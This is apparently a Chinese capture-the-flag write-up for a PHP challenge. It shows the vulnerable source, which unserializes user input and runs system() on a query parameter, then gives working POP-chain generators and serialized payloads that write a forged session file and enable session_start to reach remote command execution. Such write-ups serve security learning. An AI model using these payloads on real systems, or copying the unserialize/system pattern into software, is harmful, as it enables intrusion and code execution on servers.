<?php
class a{
public function __get($a){
$this->b->love();
}
}
class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}
}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}
$$tmp['name']=='your are good!'
这步满足就能执行shell,其中tmp是可控变量,可以利用_SESSION包含session文件
所以主要问题是写入session,需要里面满足name
变量的值是your are good!
session默认是按照php的序列化方式,那么先生成一个base64编码过的session方便写入
<?php
session_start();
$_SESSION['name'] = 'your are good!';
echo base64_encode(session_encode());
//bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7
然后利用file_put_contents写入session,根据phpinfo知道session保存的地址/var/lib/php/session
写入session 这里的链子与前面的R23类似,并且不需要绕过R:2 R:3所以直接写就行了
<?php
class a{
}
class b{
}
class xk{
}
class end{
}
$x=new xk();
$x->man='/var/lib/php/session/sess_1';
$x->woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';
$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=$x;
echo serialize($s);
//O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}}
先提交一下pop将session写入
然后构造启用session的链,用session_start函数启用session
<?php
class a{
}
class b{
}
class xk{
}
class end{
}
$x=new end();
$x->func='session_start';
$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=$x;
echo serialize($s);
//O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}}
然后加上test参数和shell进行rce,在请求包里面加上cookie